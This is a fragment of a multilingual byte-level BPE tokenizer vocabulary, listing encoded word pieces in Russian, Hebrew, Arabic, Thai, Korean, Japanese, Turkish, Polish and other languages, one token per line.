+à¹Ģà¸ŀืà¹Īà¸Ńà¸Ļà¹Ĩ +ĠJesús +Ñģоедин +Ñģоединен +Ġר×Ĺ×ķ×§ +à¹Ĥà¸ļรา +à¹Ĥà¸ļราà¸ĵ +ĠHÆ¡n +ĠtháºŃp +تعÙĬÙĬÙĨ +ĠtartÄ±ÅŁ +ĠtartÄ±ÅŁma +ĠGespr +ĠGespräch +תר×ķפ +תר×ķפ×ķת +Ġcatégorie +ĠоказÑĭва +ĠналиÑĩие +Ġprésenté +Ġkull +Ġkulland +Ġkullandı +Ġünl +Ġünlü +ĠÙģÙĥرة +изаÑĤоÑĢ +×IJ×ķ׳ +×IJ×ķ׳×Ļ×ij +×IJ×ķ׳×Ļ×ijרס +×IJ×ķ׳×Ļ×ijרס×Ļ×ĺת +ĠÑĢаÑģÑģмаÑĤ +ĠÑĢаÑģÑģмаÑĤÑĢ +ĠÑĢаÑģÑģмаÑĤÑĢива +تÙĥÙĦÙħ +ÙĥترÙĪ +ÙĥترÙĪÙĨÙĬ +ĠÑģоÑĩеÑĤ +ĠÑģоÑĩеÑĤа +ãĤĴè¦ĭãģĽ +Ġngừa +ĠÐłÐµÑģп +ĠÐłÐµÑģпÑĥб +ĠÐłÐµÑģпÑĥблик +ãĤ¦ãĤ© +ãĤ¦ãĤ©ãĥ¼ +ĠÐľÐµÐ¶Ð´Ñĥ +ĠìŀĪê²Į +Ġmâ +ĠìļĶì²Ń +ضار +ลุà¹īà¸Ļ +ëĮĢíķĻêµIJ +×ĸ×Ļ׼ +×ĸ×Ļ׼ר×ķף +ãĤ¹ãĥļ +ãĤ¹ãĥļãĥ¼ãĤ¹ +ĠкÑĢаÑģоÑĤ +H +ê¼Ń +ãĤĴéĽĨ +ãĤĴéĽĨãĤģ +ë°Ŀ +Ġ×Ķ׳×IJ +Ġ×Ķ׳×IJש×Ŀ +Ġê°Ģìļ´ +Ġê°Ģìļ´ëį° +تÙĥÙĦÙ쨩 +ĠØŃÙĤÙĬÙĤÙĬ +Ġhalk +Ġhalkın +ÑİÑīÑĥÑİ +ĠÑģпин +סר×ĺף +ĠпеÑĢвого +Ġполож +ĠположиÑĤелÑĮн +Ġдл +ĠдлиÑĤелÑĮн +ĠVÄ©nh +ê´´ +ĠÑģÑĭÑĢ +ĠíĨµíķĺìŬ +ë³ijìĽIJ +à¹Ĥรà¸ĩà¸ĩาà¸Ļ +รัà¸ļà¸ľà¸´à¸Ķ +รัà¸ļà¸ľà¸´à¸Ķà¸Ĭà¸Ńà¸ļ +تجÙĨب +sÅĤ +sÅĤuch +ãĤ¢ãĥ«ãĥIJ +ãĤ¢ãĥ«ãĥIJãĥł +ëī´ìĬ¤ +Ġpatië +Ġpatiënt +Ġìĺ¤í +Ġìĺ¤íŀ +Ġìĺ¤íŀĪ +Ġìĺ¤íŀĪ볤 +ĠDerne +ĠDerneÄŁi +wróci +wróciÄĩ +ĠобÑī +ĠобÑīеÑģÑĤв +ĠобÑīеÑģÑĤвенно +ĠêµIJìĪĺ +tıģımız +Ġ×Ķ×ŀש×Ļ×ij +körper +Ġпозвол +ĠпозволиÑĤ +ĠChiến +أخÙĪ +ĠAydın +à¸Ķà¹īาà¸Ļล +à¸Ķà¹īาà¸Ļลà¹Īาà¸ĩ +Ġdru +Ġdruż +Ġdrużyn +Ġë°ľíijľ +ĠThảo +جÙĩاد +à¸ģระà¸Ĺูà¹ī +ĠкÑĢов +ĠкÑĢови +Ġiçerik +Ġnadzie +ĠnadziejÄĻ +ĠСмоÑĤÑĢ +Ġphức +جتÙħاع +جتÙħاعÙĬØ© +компон +компоненÑĤ +Ġбил +ĠбилеÑĤ +ãĥIJãĥ³ãĥī +ĠPolÃŃcia +اÙĦتÙĩ +اÙĦتÙĩاب +ØŃرÙģ +تخط +تخطÙĬØ· +ãĤ³ãĥ¼ãĥ +ãĤ³ãĥ¼ãĥĴ +ãĤ³ãĥ¼ãĥĴãĥ¼ +・・・ +à¸ĭà¸Ńย +Ġcrédit +è²·ãģ£ãģŁ +ĠпоÑĢÑıд +ĠпоÑĢÑıдке +Ġphó +Ġwida +ĠwidaÄĩ +جرائÙħ +à¸ľà¸µ +ĠbÄĻdÄĻ +Ġ×ŀפת×Ĺ +ãĥijãĥ¼ãĥ +ãĥijãĥ¼ãĥĨ +ãĥijãĥ¼ãĥĨãĤ£ +ãĥijãĥ¼ãĥĨãĤ£ãĥ¼ +ĠKaż +ĠKażdy +ĠнеобÑħодимоÑģÑĤи +à¸Łà¸Ńรà¹Į +à¸Łà¸Ńรà¹Įม +ĠмалÑĭÑĪ +ĠплоÑĤ +ĠÑĥÑģÑĤÑĢой +ĠÑĥÑģÑĤÑĢойÑģÑĤва +à¸ĸà¸Ńà¸Ļ +ĠoluÅŁturul +ĠÅĽwiad +ĠÅĽwiadom +ÙħعÙĩد +ĠпÑĢоизведен +Æł +ר×Ļש +Ùħستث +ÙħستثÙħر +׳×Ļ×Ļר +pañ +Ġ;-) +Ġë°ľê²¬ +Ġgörüyor +ÙħؤÙĦÙģ +ĠÄIJá»ģ +ĠاÙĦÙĨÙĪØ§Ø¨ +×Ĺ×§×Ļר×Ķ +Ġmá»ıi +è¿°ãģ¹ +ÐĿик +ìŀĸìķĦ +ìŀĸìķĦìļĶ +prowadziÅĤ +lóg +lógica +פס×ĺ +פס×ĺ×Ļ×ij׾ +Ġ×ŀ×ĵ×Ķ +Ġ×ŀ×ĵ×Ķ×Ļ×Ŀ +ãģĵãģĵãģ¾ãģ§ +×Ķת×Ĺ +×Ķת×Ĺ׾×Ķ +Ġפ×ķס +Ġפ×ķס×ĺ×Ļ×Ŀ +Ġнев +Ġневоз +Ġневозможно +ĠdostÄĻpny +ĠغاÙĦ +ĠغاÙĦب +ĠbezpieczeÅĦst +ĠbezpieczeÅĦstwa +åĪĨãģĭãĤĭ +ĠFührung +à¸ģีà¹ī +gemÃ¤ÃŁ +à¸Ĭà¹Īวà¸ĩà¹Ģวลา +Ġìļ°ë¦¬ëĤĺ +Ġìļ°ë¦¬ëĤĺëĿ¼ +ãģ¥ãģıãĤĬ +ĠاÙĦÙħسÙĦ +ĠاÙĦÙħسÙĦØŃØ© +Ġliberté +клÑİÑĩение +Ġzamów +Ġzamówienia +รà¸ĸà¹Ħà¸Ł +Ø£ÙģÙĦ +Ø£ÙģÙĦاÙħ +Ùħراج +Ùħراجعة +Ġë¹ĦêµIJ +ĠاÙĦتاب +ĠاÙĦتابعة +Ġë§ĮëĤĺ +ĠбÑĥм +ĠбÑĥмаг +Ġgénero +Ġìŀĺ못 +×ŀפ×ķר×ĺ +è²·ãģĦçī© +ĠÙĦدÙĬÙĥ +Ġ×ľ×¢×Ļת +Ġ×ľ×¢×Ļת×Ļ×Ŀ +ĠsÅĤab +ĠпÑĢедÑģÑĤавлÑı +ãĤ¿ãĤ¤ãĥĪ +ãĤ¿ãĤ¤ãĥĪãĥ« +Ùħص +ÙħصطÙģ +ÙħصطÙģÙī +Ġdifficulté +ãĥĨãĤ£ãĥĸ +ĠpewnoÅĽci +ĠpewnoÅĽciÄħ +Ġ무ìĬ¨ +إرس +إرساÙĦ +ĠдалÑĮ +ĠдалÑĮÑĪе +Ġ×ľ×ł×¡ +Ġ×ľ×ł×¡×ķת +หมูà¹Īà¸ļà¹īาà¸Ļ +×ŀס×ŀ׼×Ļ +أسÙĦÙĪØ¨ +ĠzwÅĤ +ĠzwÅĤas +ĠzwÅĤaszc +ĠzwÅĤaszcza +ĠпÑĢеж +ĠпÑĢежде +ĠоÑĢганизаÑĨиÑı +Ġdönemin +Ġdöneminde +ĠỦ +ĠỦy +ä¸ĭãģĴ +ĠпоÑģледние +Ġgüne +ĠgüneÅŁ +Ġ×IJ×ĸר +Ġ×IJ×ĸר×Ĺ×Ļ +ãģ§ãģĤãĤįãģĨ +ĠÙĨÙĤ +ĠÙĨÙĤاط +æŃ£ãģĹãģĦ +ĠÑĢег +ĠÑĢегиона +ĠFörder +ê²½ìĺģ +dıklar +dıklarını +trzymaÄĩ +أشÙĥ +أشÙĥاÙĦ +×Ķת×IJ +×Ķת×IJ×ŀ×Ķ +à¸Ĺำà¹ĥหà¹īà¹Ģà¸ģิà¸Ķ +ĠGebä +ĠGebäude +ĠСеÑĢг +ĠСеÑĢгей +ĠздоÑĢов +ĠздоÑĢовÑĮÑı +Ġrãi +ĠпÑĢедÑĥÑģ +ĠпÑĢедÑĥÑģмоÑĤÑĢ +ĠпÑĢедÑĥÑģмоÑĤÑĢен +Ġ×Ķצ×Ļ×ij +Ġ×Ķצ×Ļ×ij×ķר×Ļ +Ġdésir +ĠноÑĩ +ĠноÑĩÑĮ +möglichkeiten +Ġ×IJ×Ĺר×ķ׳×Ļ×Ŀ +Ġsoirée +ĠNháºŃn +Ùª +à¸Ľà¸£à¸°à¸§à¸±à¸ķิศาสà¸ķรà¹Į +êµIJíĨµ +ĠأخÙĬ +Ġdécid +Ġdécidé +Ġwyja +ĠwyjaÅĽni +Ġสิ +Ġสิà¸ĩ +Ġสิà¸ĩหา +Ġสิà¸ĩหาà¸Ħม +à¹ģà¸Ńรà¹Į +หà¸Ļà¹īาà¸Īà¸Ń +סתר +Ġê¶ +Ġê¶Į +Ġê¶Į리 +plätze +بطÙĦ +ê±´ìĦ¤ +Ġ×IJ×Ļ×ŀ×Ļ +Ġ×IJ×Ļ×ŀ×Ļ×Ļ׾ +ãģ½ +تراث +×IJ׾×Ļ×ŀ×ķת +ĠdisponÃŃveis +Ġzale +Ġzależy +à¸Ľà¸£à¸°à¸Ĭาสัมà¸ŀัà¸Ļà¸ĺà¹Į +ĠÅļwiat +Ġporówn +Ġporówna +Ġ׾×ĺ×ķ×ijת +×Ķ×ĸ×ŀ׳×Ķ +Ġ×Ľ×ª×ķצ×IJ×Ķ +Ġ×ijק׾ +Ġ×ijק׾×ķת +ĠоÑĤкÑĢ +ĠоÑĤкÑĢÑĭва +ãĥijãĥ¯ãĥ¼ +ë¿IJë§Į +ĠвÑģÑı +ĠвÑģÑıк +ãģ¨ãģªãģ£ãģ¦ãģĦãĤĭ +ĠgiáºŃn +ĠокÑĢÑĥ +ĠокÑĢÑĥжа +ĠокÑĢÑĥжаÑİÑī +ĠUniversität +ĠÑĢож +ĠÑĢожд +ĠÑĢождениÑı +Ø®ÙĬÙĦ +Ġкомпаний +ĠÑĢазлиÑĩнÑĭе +ĠЦена +׳×Ļ×ķ×ĸ +׳×Ļ×ķ×ĸ׾ +׳×Ļ×ķ×ĸ׾×ĺר +Ġê³µê°Ħ +Ġê°ľëħIJ +landırma +ĠÑĥдален +à¸ŀัà¸ģà¸ľ +à¸ŀัà¸ģà¸ľà¹Īà¸Ńà¸Ļ +Ġprotección +ĠbÅĤ +ĠbÅĤÄĻd +ÃĪ +Ġíĸīë³µ +ĠÅŁÃ¼ +ĠÅŁÃ¼phe +ĠíĶ +Ġíͼ +Ġíͼíķ´ +Ġëĭ¤ë¥´ +à¹Ħมà¹Īà¹Ģà¸ģิà¸Ļ +ãģ¿ãģª +ãģ¿ãģªãģķãĤĵ +ĠпоÑĤÑĢеб +ĠпоÑĤÑĢебиÑĤел +ĠاÙĦÙĥÙĦاÙħ +ìķĦë²Ħ +ìķĦë²Ħì§Ģ +ãĤĴ使ãģ£ãģŁ +Ġbụi +ĠпоÑĤеÑĢ +ĠпоÑĤеÑĢÑı +ĠØ¢ÙĦاÙģ +ĠнаÑģÑĤоÑıÑīее +ãģıãģªãĤĬãģ¾ãģĹãģŁ +clusão +ãĤ³ãĥĶãĥ¼ +צפ×Ļ +צפ×Ļ×Ļ×Ķ +Ø®ÙĦا +Ø®ÙĦاص +ลà¹īำ +ãĥ¯ãĤ¤ãĥ³ +Ġมีà¸Ļา +Ġมีà¸Ļาà¸Ħม +شخص +شخصÙĬات +Ġ×ĸ×§ +Ġ×ĸ×§×ķ×§ +×Ļ×Ļצ +×Ļ×Ļצ×Ĵ +èĢĥãģĪæĸ¹ +Ġürünü +ĠиÑģпол +ĠиÑģполни +Ġcompañero +קצ×Ķ +×ŀ×¢×ł×Ļ×§ +ÙħØŃÙħد +Ġcámara +Ġпед +Ġпедаг +Ġпедагог +маÑĢ +маÑĢк +×Ķ×ª×ł×Ĵ×ĵ +ĠìĨĮê°ľ +ĠcomunitÃł +곤 +ĠNgÃłi +สà¸ĩà¸ļ +ĠmieszkaÅĦców +ĠÙĨÙĩائÙĬ +ivité +Ġиде +ĠидеалÑĮн +ĠأسبÙĪØ¹ +Ġ×Ļ×¢×ľ +Ġ׾ר×IJש +Ġ׾ר×IJש×ķ׳×Ķ +ĠзапиÑģи +ĠкоÑĢпÑĥÑģ +วà¸ĩศ +วà¸ĩศà¹Į +ĠÐĶм +ĠÐĶмиÑĤ +ĠÐĶмиÑĤÑĢ +Ġkönnt +Ġbölges +Ġbölgesinde +׼×Ļ׼ +׼×Ļ׼ר +ĠاÙĦإثÙĨ +ĠاÙĦإثÙĨÙĬÙĨ +Ġngá»Ļ +ì¹ł +دراج +Ġuda +ĠudaÅĤo +ìºIJ +برÙĨاÙħج +ĠÑģÑĥдеб +ĠÑģÑĥдебн +Ġzunächst +ĠEducación +ãģ¨ãģªãģ£ãģ¦ãģĦãģ¾ãģĻ +Ġ×Ķ×IJ×ŀ×Ļת×Ļ +Ġİnt +Ġİnternet +ĠcaÅĤego +ãĥĹãĥªãĥ³ +إبد +إبداع +ĠпоÑĢÑĤал +à¹Ĥà¸ķà¹ī +Ġ×Ķקש×ķר +плод +ĠÙħد +ĠÙħدرÙĬد +×ŀסע×ĵ×Ķ +ĠØ´ÙĬئ +ĠØ´ÙĬئا +à¸ģà¹Īà¸Ńสรà¹īาà¸ĩ +Ġì°¸ê³ł +à¹Ģà¸Ĺร +à¹Ģà¸Ĺรà¸Ķ +Ġ×ij×ŀקר×Ļ×Ŀ +Ġbât +Ġbâtiment +åij¼ãģ³ +ç´łæķµ +ç´łæķµãģª +przedsiÄĻbiorst +przedsiÄĻbiorstw +Ġ×ł×ª×ķ׳×Ļ×Ŀ +×Ĺ׾×ķ×Ŀ +รวย +ÙħÙĪØ¶ÙĪØ¹ +ĠÑģобÑĢан +ведÑĥÑī +ĠÑĤеаÑĤ +ĠÑĤеаÑĤÑĢ +meye +meyeceÄŁi +ĠpieniÄħ +ĠpieniÄħd +ĠpieniÄħdze +ÑĢезиденÑĤ +ØŃصر +ìĺ¥ +à¹Ģยืà¸Ńà¸Ļ +ĠÑĥни +ĠÑĥнивеÑĢ +ĠÑĥнивеÑĢÑģ +ĠÑĥнивеÑĢÑģиÑĤеÑĤ +ĠاÙĦرØŃ +ĠاÙĦرØŃÙħÙĨ +ĠÑĤеÑħнолог +ĠÑĤеÑħнологии +ìĹIJëĦĪ +ìĹIJëĦĪì§Ģ +ĠíķŃ +ĠíķŃìĥģ +à¸ĺา +à¸ĺาà¸ķุ +ĠEspañol +×ĵ×Ĵש +Ġêµī +Ġêµīìŀ¥ +Ġêµīìŀ¥íŀĪ +ĠÅĤat +ĠÅĤatwo +Ġká»ĭch +إز +إزاÙĦØ© +ĠдейÑģÑĤвие +ĠsaÄŁlayan +สุà¸Ķยà¸Ńà¸Ķ +ĠzostaÄĩ +ĠdisponÃŃvel +ïºį +verständ +verständlich +twor +tworzyÄĩ +عجز +à¹Ģà¸Ĥà¹īม +ยà¹Īà¸Ńม +Ġstratég +Ġstratégie +à¸ľà¸¥à¹Ħมà¹ī +Ġê°ģì¢ħ +ĠÙħÙĪØ§ +ĠÙħÙĪØ§Ø¶ +ĠÙħÙĪØ§Ø¶ÙĬع +اØŃتج +اØŃتجاج +ĠẤ +ĠẤn +×ŀ×ŀש׾×Ķ +ĠÅŁekil +×ŀ×Ĺ׾ +×ŀ×Ĺ׾×ķת +Ġà¸ĺ +Ġà¸ĺัà¸Ļ +Ġà¸ĺัà¸Ļวา +Ġà¸ĺัà¸Ļวาà¸Ħม +Ġìĭ¤ìłľ +Ġìĭ¤ìłľë¡ľ +ì¤ijìķĻ +ëįĶëĿ¼ +ĠÑĪиÑĢ +ĠÑĪиÑĢоко +Ġsolución +วาà¸ĩà¹ģà¸ľà¸Ļ +×IJ×ķ×ĺ×ķ×ŀ +×IJ×ķ×ĺ×ķ×ŀ×ĺ×Ļ +ĠÑĢеÑģÑĤ +ĠÑĢеÑģÑĤоÑĢ +ĠÑĢеÑģÑĤоÑĢан +ëᏠ+ÑĤÑĢад +ÑĤÑĢади +ÑĤÑĢадиÑĨион +ÑĤÑĢадиÑĨионн +มะà¹Ģรà¹ĩ +มะà¹Ģรà¹ĩà¸ĩ +à¹Ĥส +Ġolmasını +×ŀ×ķסר +ĠоÑĤноÑĪении +Ġê°ĢëĬ¥ìĦ± +Ġyuk +Ġyukarı +ìĨĶ +ĠÑģÑĦ +ĠÑģÑĦеÑĢе +Ġ×§×ķפ +ãĤ±ãĥ¼ãĤ +ãĤ±ãĥ¼ãĤŃ +âĢķâĢķ +ĠاÙĦØ£ÙĦÙħ +ĠاÙĦØ£ÙĦÙħاÙĨÙĬ +ẢN +ת×ķ׼׳×Ļ×ķת +ĠÑģÑĥÑīеÑģÑĤвÑĥеÑĤ +æĪijãĢħ +ĠاÙĦصادر +ĠTrá»įng +Ġад +ĠадминиÑģÑĤ +ĠадминиÑģÑĤÑĢа +ĠадминиÑģÑĤÑĢаÑĨи +ĠдÑĢÑĥгими +ÑģпеÑĪ +عÙĦاÙħات +Ġаб +ĠабÑģол +ĠабÑģолÑİÑĤ +ĠабÑģолÑİÑĤно +ฤà¸Ķู +étr +étranger +нÑıÑĤи +нÑıÑĤие +×¢×ķ׳ +×¢×ķ׳ש +ĠÙĤائ +ĠÙĤائÙĦا +ĠмаÑģ +ĠмаÑģло +ãĥīãĤ¤ +ãĥīãĤ¤ãĥĦ +å¿ħè¦ģãģĮãģĤãĤĬãģ¾ãģĻ +×ŀ×ķ×ĸ×Ļ×IJ +×ŀ×ķ×ĸ×Ļ×IJ×ķף +ĠNgoại +Ġkênh +à¸ģารà¸Ńà¸Ńà¸ģà¹ģà¸ļà¸ļ +×ŀפק +×ŀפק×ĵ +ÙħÙĨاز +ÙħÙĨازÙĦ +ë·° +íŤ +ÙħÙĩارات +Ġpropriété +פ×Ĵ×Ļש×Ķ +ÑĩÑĢ +ÑĩÑĢеж +ÑĩÑĢежден +×Ķ×ķצ×IJ×Ķ +ØŃÙĥÙĬÙħ +ĠíĻĪ +ĠíĻĪíİĺìĿ´ì§Ģ +åݳ +åݳãģĹãģĦ +×¢×ŀ×ĵ×Ķ +ĠAuÃŁen +سÙĪØ¡ +ë¹Ī +ĠÙĪØ® +ĠÙĪØ®Ø§ØµØ© +инÑĤеÑĢ +инÑĤеÑĢеÑģ +èĩ´ãģĹãģ¾ãģĻ +Ġhüküm +à¹Ħà¸Ĥมัà¸Ļ +Ġdavran +ĠdavranÄ±ÅŁ +à¹Ģà¸ķียà¸ĩ +вÑĢем +вÑĢеменно +à¹Ģà¸Ĺศà¸ģา +à¹Ģà¸Ĺศà¸ģาล +å¼ķãģ£ +å¼ķãģ£è¶ĬãģĹ +×IJר×ķ×Ĺ +×IJר×ķ×Ĺת +à¹Ģวิ +à¹Ģวิรà¹Į +à¸Ńยà¹Īาà¸ĩรวà¸Ķà¹Ģรà¹ĩว +ĠìŬíĸī +ĠÑĢанÑĮ +ĠÑĢанÑĮÑĪе +Ġzobow +ĠzobowiÄħ +ĠzobowiÄħz +Ġ×ķ׼×ŀ×ķ×ijף +ĠاÙĦÙħÙĩ +ĠاÙĦÙħÙĩÙĨÙĬ +ãĤ¢ãĤ¸ +ãĤ¢ãĤ¸ãĤ¢ +ë°©ìĨ¡ +à¸Ńà¸Ńà¸ģà¸ģำลัà¸ĩ +à¸Ńà¸Ńà¸ģà¸ģำลัà¸ĩà¸ģาย +améli +améliorer +å½ĵãģŁãĤĬåīį +Ġregelm +ĠregelmÃ¤ÃŁig +ãģĬåĭ +ãģĬåĭ§ +ãģĬåĭ§ãĤģ +Ġmưá»Ŀi +برÙħج +ĠNatürlich +ĠDÅ©ng +ĠاÙĦرجاÙĦ +Ġthép +ĠolmuÅŁtur +×ŀ×ķס×Ļ×§×Ķ +fälle +주íĥĿ +ĠاÙĦÙģØ±Øµ +ĠnajwiÄĻks +ĠnajwiÄĻkszy +ĠçaÄŁ +ĠçaÄŁrı +ì¸ł +ĠvÃŃct +ĠvÃŃctima +ĠÑģовеÑĢÑĪен +×Ķ×Ļ×Ļת×Ļ +à¹Ģà¸Ķี +à¹Ģà¸Ķีà¹ĭ +à¹Ģà¸Ķีà¹ĭยว +üyü +Ġдоп +Ġдополн +ĠдополниÑĤелÑĮно +à¹ģà¸ķà¸ģà¸ķà¹Īาà¸ĩà¸ģัà¸Ļ +Ġál +Ġálbum +à¸Ľà¸£à¸°à¸Īà¸³à¸Ľà¸µ +ĠÑĦедеÑĢ +ĠÑĦедеÑĢалÑĮн +ĠobsÅĤ +ĠobsÅĤugi +à¹Ģรืà¹Ī +à¹Ģรืà¹Īà¸Ńย +à¹Ģรืà¹Īà¸Ńยà¹Ĩ +ëģĮ +Ġnghìn +ĠBaÅŁkanlıģı +تأسÙĬ +تأسÙĬس +Ġ×ij×ij×ķקר +Ġ×¢×ij×ķ×ĵ×ķת +ĠبصÙĪØ±Ø© +ãĤıãģijãģ§ãģ¯ãģªãģĦ +führer +ãĤ¹ãĤŃ +ãĤ¹ãĤŃãĥ« +ĠاÙĦÙĤض +ĠاÙĦÙĤضÙĬØ© +ĠдолжноÑģÑĤ +ÙģØ§Ø±ÙĤ +Ġcomeçou +Ġorganisé +Ġxuân +ĠÑģообÑīаеÑĤ +ĠпÑĢид +ĠпÑĢидеÑĤÑģÑı +TÃľRK +ãĥ¬ãĥ¼ãĤ·ãĥ§ãĥ³ +Không +استÙģ +استÙģØ§Ø¯Ø© +ä¸ĬãģĮãģ£ãģ¦ +Ġumie +ĠumiejÄĻ +ĠumiejÄĻtn +ĠumiejÄĻtnoÅĽci +ëĤ¸ +à¹Ģà¸Ļà¸Ńรà¹Į +×ĵ×ķ×ķ×Ĺ +ÃŃsimo +IÃĬ +IÃĬN +Ġalcanç +Ġà¸ķุ +Ġà¸ķุลา +Ġà¸ķุลาà¸Ħม +ש׾×ĺ×ķף +Ġélè +Ġélèves +ĠÄiju +ĠÄijuá»ķi +ĠØ£Ùģ +ĠØ£Ù쨱ÙĬ +ĠØ£Ù쨱ÙĬÙĤÙĬ +ĠØ£Ù쨱ÙĬÙĤÙĬا +ãĤĴæİ¢ãģĻ +ĠпÑĢедложениÑı +جاد +ĠÑħоÑĤÑĮ +Ñģал +Ñģалон +à¸Ľà¸£à¸°à¹Ģม +à¸Ľà¸£à¸°à¹Ģมิà¸Ļ +ãĤŃãĥĥãĥģ +ãĤŃãĥĥãĥģãĥ³ +×ij×ĵ×Ļ×§×ķת +Ġchù +Ġchùa +ÐĴиде +ÐĴидео +иÑĢовка +ĠÑħоÑĤиÑĤе +Ġspécifique +รสà¸Ĭาà¸ķิ +è¾¼ãĤĵãģł +伸ãģ³ +×Ķצ׾×Ĺת +ãģ©ãģ®ãĤĪãģĨãģ« +سعادة +Ġлид +ĠлидеÑĢ +มà¸ĩ +มà¸ĩà¸Ħล +ØŃاÙħÙĦ +หลุà¸Ķ +à¸Ńยà¹Īาà¸ĩà¸ķà¹Īà¸Ń +à¸Ńยà¹Īาà¸ĩà¸ķà¹Īà¸Ńà¹Ģà¸Ļืà¹Īà¸Ńà¸ĩ +ãģķãģĽãģ¦éłĤ +تسÙĪÙĬ +تسÙĪÙĬÙĤ +ĠaÅŁaģıd +ĠaÅŁaģıdaki +ĠÑĨелÑĮ +ĠÑĨелÑĮÑİ +ĠAraÅŁtırma +à¸Ĥัà¸ļรà¸ĸ +ÙĩذÙĩ +ลà¸ĩà¸Ĺะ +ลà¸ĩà¸Ĺะà¹Ģà¸ļ +ลà¸ĩà¸Ĺะà¹Ģà¸ļียà¸Ļ +تÙĥاÙħÙĦ +Ġcio +Ġcioè +ãģ¦ãģĬãģı +ĠاÙĦصØŃÙģÙĬ +ĠíĬ¹ìłķ +полниÑĤÑĮ +ãĤĵãģĺãĤĥãģªãģĦ +ãĤĵãģĺãĤĥãģªãģĦãģĭ +ĠاÙĦجÙĩ +ĠاÙĦجÙĩات +ĠÑĥÑģпеÑĪно +Ġвок +ĠвокÑĢÑĥг +ĠÑģиÑĤÑĥаÑĨиÑı +Ġ×Ķ×IJ×ŀר +Ġ×Ķ×IJ×ŀר×Ļ×§ +Ġ×Ķ×IJ×ŀר×Ļ×§×IJ×Ļ +×ŀ×Ĵ×ĸ +×ŀ×Ĵ×ĸ×Ļף +ĠакÑĤÑĥ +ĠакÑĤÑĥалÑĮн +éta +étais +ĠmogÅĤa +ĠÑĤоÑĩки +Ġ×ŀ×Ķ×ŀ×¢ +Ġ×ŀ×Ķ×ŀ×¢×¨×Ľ×ª +à¸¡à¸µà¸Ľà¸£à¸°à¸ªà¸´à¸Ĺà¸ĺà¸´à¸łà¸²à¸ŀ +×Ļר×Ļ×ĵ×Ķ +×Ĵר×ŀ׳ +×Ĵר×ŀ׳×Ļ×Ķ +Ġглав +Ġглавное +Ġ미ëŀĺ +Ġ׳׼×ķ׳×Ķ +ĠÙĪØ·ÙĨÙĬ +opport +opportunitÃł +Ġhá»§y +ĠÙĦتØŃ +ĠÙĦتØŃÙĤÙĬÙĤ +Ġórg +Ġórgão +ãĤ¹ãĥĶ +ãĤ¹ãĥĶãĥ¼ãĥī +Ġönü +Ġönüne +ÙħعاÙħÙĦ +ש×ŀ×Ļר×Ķ +ĠвеÑģÑĮма +ĠwiÄĻkszo +ĠwiÄĻkszoÅĽÄĩ +ĠاستراتÙĬج +ĠاستراتÙĬجÙĬØ© +ĠÙ쨥 +ĠÙģØ¥Ø°Ø§ +à¹Ģà¸Ĭืà¹Īà¸Ńม +à¹Ģà¸Ĭืà¹Īà¸Ńมà¸ķà¹Īà¸Ń +Ġ׾פר +Ġ׾פר×ĺ×Ļ×Ŀ +ÙħضÙĬ +ĠGerçek +Ġçocukların +ÙĪØ«Ø§Ø¦ÙĤ +ĠÙħساءÙĭ +Ġunterstützt +Ġprést +Ġpréstamo +ĠÐłÐ°Ð·Ð¼ÐµÑĢ +ĠÅŁeker +Ġséculo +×ij×Ķ×Ļר +Ø´ÙĩÙĪØ± +Ġà¸Ńีà¸ģ +Ġà¸Ńีà¸ģà¸Ĺัà¹īà¸ĩ +Ġllegó +à¸¨à¸´à¸¥à¸Ľà¸° +æĪijãģĮ +æĪijãģĮå®¶ +عÙĤÙĪ +عÙĤÙĪØ¨Ø§Øª +ĠFälle +ĠsÅĤuż +ĠsÅĤużb +ĠاÙĦØŃÙĤÙĪÙĤ +ĠплиÑĤ +ĠиноÑģÑĤ +ĠиноÑģÑĤÑĢан +ĠиноÑģÑĤÑĢанн +à¹ĥà¸Ļà¸Ĥà¸ĵะà¸Ĺีà¹Ī +ãĤ«ãĥĨ +ãĤ«ãĥĨãĤ´ +ãĤ«ãĥĨãĤ´ãĥª +à¸Ńิส +à¸Ńิสระ +à¹Ģà¸ľà¸¢à¹ģ +à¹Ģà¸ľà¸¢à¹ģà¸ŀร +à¹Ģà¸ľà¸¢à¹ģà¸ŀรà¹Ī +ãģĬãģĦ +ãģĬãģĦãģĹãģĦ +استÙĤÙĦ +استÙĤÙĦاÙĦ +تØŃض +تØŃضÙĬر +åĬ©ãģij +ÙħراÙģÙĤ +Ġ×ĵ×ķר +Ġ×ĵ×ķרש +×ŀת×Ļ×Ļ×Ĺס +ס×Ļ׼ +ס×Ļ׼×ķ×Ŀ +íĮĮíĬ¸ +ĠwyÅĽ +ĠwyÅĽw +ĠwyÅĽwiet +ĠwyÅĽwietl +ĠاÙĦاÙĨساÙĨ +ĠStraÃŁen +L +ãģ«åŁº +ãģ«åŁºãģ¥ +ĠcapÃŃtulo +ลุย +Ġ×Ķ×ŀקצ×ķ×¢×Ļ +ãģĤãĤĭç¨ĭ度 +Ợ +ĠاÙĦÙĦا +ĠاÙĦÙĦازÙħØ© +æķĻãģĪ +Ġרש×IJ×Ļ +зав +завиÑģ +завиÑģим +à¸Ľà¸±à¸Īà¸Īัย +à¹Ģà¸ĭล +à¹Ģà¸ĭลลà¹Į +Ġdifférence +ĠAltın +ĠкÑĢай +ĠкÑĢайне +Ġзло +Ġgünümüz +ĠнаÑĤÑĥÑĢ +ĠнаÑĤÑĥÑĢалÑĮн +×Ĵ×ķ׾ש×Ļ×Ŀ +ĠкаÑĤегоÑĢ +ĠкаÑĤегоÑĢии +Ġзнак +à¸ģà¹Īà¸Ńà¸Ļหà¸Ļà¹īา +à¸ģà¹Īà¸Ńà¸Ļหà¸Ļà¹īาà¸Ļีà¹ī +ĠÙħÙĨت +ĠÙħÙĨتخب +ãĥĽãĥ¼ãĥ« +ĠевÑĢо +สว +สวม +ĠìľĦìĽIJ +ĠìľĦìĽIJëĭĺ +ĠاÙĦØŃÙĪØ« +ĠاÙĦØŃÙĪØ«ÙĬ +ĠÑģодеÑĢжиÑĤ +ãĥķãĤ¡ãĥĥãĤ·ãĥ§ãĥ³ +Ġà¸ģัà¸Ļ +Ġà¸ģัà¸Ļย +Ġà¸ģัà¸Ļยายà¸Ļ +ãĤªãĥª +ãĤªãĥªãĤ¸ +ãĤªãĥªãĤ¸ãĥĬãĥ« +ĠбÑĢенд +ãĤĴæĮģãģ£ãģ¦ãģĦãĤĭ +Ġinversión +Ġê°ĸ +Ġê°ĸê³ł +ĠnovitÃł +ê´Ģê´ij +Ġà¸ŀฤษ +Ġà¸ŀà¸¤à¸©à¸łà¸² +Ġà¸ŀà¸¤à¸©à¸łà¸²à¸Ħม +×ķר×Ĺ×Ļ×Ŀ +׼׾×ķ׾ 